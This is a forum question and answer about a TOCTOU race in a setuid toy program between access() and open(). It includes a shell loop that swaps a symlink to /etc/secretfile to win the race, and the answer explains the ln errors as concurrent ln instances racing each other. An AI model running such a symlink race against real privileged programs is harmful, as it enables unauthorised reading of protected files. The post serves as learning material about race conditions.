ln fails when trying to manully trigger race conditoin

113 views Asked by At

It's just an exercise. I am not trying to exploit something...

I have a setuid toy program to exploit(decompiled version):

int main(int argc, const char **argv)
{
  int v3, v4, v5;
  int result;
  int v7;
  int v8;
  int v9;
  int v10;

  memset(&v9, 0, 0x14u);
  if ( !access("/tmp/exploitme", 4) )
  {
    v3 = geteuid();
    v4 = geteuid();
    v5 = geteuid();
    setresuid(v5, v4, v3, argv);
    v8 = open("/tmp/exploitme", 0);
    if ( v8 < 0 )
      exit(-1);
    read(v8, &v9, 0x13u);
    write(1, &v9, 0x13u);
  }
  result = 0;
  return result;
}

There exists race condition between the access and open. So here is the script, I use the classical trick: alter nice value to reduce scheduling priority.

#!/bin/sh
        touch /tmp/myfile
        while true; do
                ln -sf /tmp/myfile /tmp/exploitme &
                nice -15 /workspace/toy &
                ln -sf /etc/secretfile /tmp/exploitme &
        done

But I get these errors from the script:

ln: failed to create symbolic link '/tmp/expolitme': File exists
ln: cannot remove '/tmp/expolit': No such file or directory

I already use -f option of ln to force create symlink. Why I have these errors?

1

There are 1 answers

0
P.P On BEST ANSWER

The problem is with the way you call ln-- multiple instances at the same time. The way ln "forces" symbolic links is that it unlinks (removes) the destination and recreates it again. But you are calling multiple ln instances at the same time which results in a race condition with other calls to ln. Because one or more instances do unlink of tmp/exploitme but some other instance has already created the new /tmp/exploitme; so the "file exists". If you don't spawn multiple ln instances in the background, you won't observe this problem.

Let's me show an example with 2 instances: A and B

Instance A                           Instance B 

Calls ln                             Calls ln 

Deletes /tmp/expolitme if exists     Deletes /tmp/expolitme if exists

Creates /tmp/expolitme

                                     Creates /tmp/expolitme 
                                     (File exists - because A created it already)